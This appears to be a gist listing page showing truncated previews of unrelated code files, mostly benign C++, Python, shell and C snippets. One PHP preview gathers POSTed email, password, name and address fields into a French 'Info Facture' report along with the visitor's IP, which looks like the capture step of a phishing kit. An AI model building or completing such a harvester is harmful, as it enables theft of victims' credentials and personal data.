This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#ifndef COMMON_SINGLETON_H | |
#define COMMON_SINGLETON_H | |
#include <memory> | |
template<typename T> | |
class Singleton { | |
public: | |
static inline std::shared_ptr<T> GetInstancePtr() { | |
static std::shared_ptr<T> instance = new T(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
struct Mere { | |
static const int Opcode; | |
}; | |
const int Mere::Opcode = 42; | |
struct Fille : public Mere { | |
static const int Opcode; | |
// wuut |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include "net/network.h" | |
using namespace Ponyca; | |
class TestType : public Net::AbstractSerializable { | |
public: | |
virtual std::string serialize() const { | |
std::string buffer; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def decode(input): | |
output = 0 | |
base = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}' | |
power = 0 | |
for c in input: | |
output += base.index(c) * len(base)**power | |
power += 1 | |
return output | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
VERSION="1.2.3" | |
cd nginx-$VERSION | |
./configure \ | |
--prefix=/usr \ | |
--sbin-path=/usr/sbin/nginx \ | |
--conf-path=/etc/nginx/nginx.conf \ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <openssl/ec.h> | |
#include <openssl/ecdsa.h> | |
#include <openssl/obj_mac.h> | |
#include <openssl/bn.h> | |
#include <openssl/crypto.h> | |
#include <openssl/sha.h> | |
#include <openssl/ripemd.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <memory.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$ip = getenv("REMOTE_ADDR"); | |
$zobab .= "------------------[Info Facture]------\n"; | |
$zobab .= "Email : ".$_POST['email']."\n"; | |
$zobab .= "Mot de passe : ".$_POST['pass']."\n"; | |
$zobab .= "Nom & Prenom : ".$_POST['civil']." ".$_POST['nom']."\n"; | |
$zobab .= "Adresse1 : ".$_POST['adresse1']."\n"; | |
$zobab .= "Adresse2 : ".$_POST['adresse2']."\n"; | |
$zobab .= "Ville : ".$_POST['ville']."\n"; | |
$zobab .= "Code postale : ".$_POST['cp']."\n"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
void drawStuff() { | |
static GLfloat wtf = .0f; static bool way = true; | |
glColor3f(.0f, (wtf+=.002f*((way=(wtf<.0f||wtf>=.6f)?!way:way)?1:-1)), .0f); | |
glBegin(GL_QUADS); { | |
glVertex2f(0, 0); glVertex2f(400, 0); | |
glVertex2f(400, 400); glVertex2f(0, 400); | |
} glEnd(); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <time.h> | |
const char *reverse_root = "ip.vpn.xomg.net."; | |
unsigned short ip6_range[8] = {0x2001, 0x41d0, 0x8, 0x144d, 0xcc, 0, 0, 0}; | |
const char ip6_netmask = 7; | |
const char ip6_ignore_subs = 0; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
def bwtf_encode_block(input): | |
output = [0, 0] | |
if len(input) == 3: | |
output[0] = 0x1000 | ((input[0] << 4) | (input[1] & 0x0f)) | |
output[1] = 0x1000 | (((input[1] & 0xf0) << 4) | (input[2])) | |
elif len(input) == 2: | |
output[0] = 0x1000 | ((input[0] << 4) | (input[1] & 0x0f)) |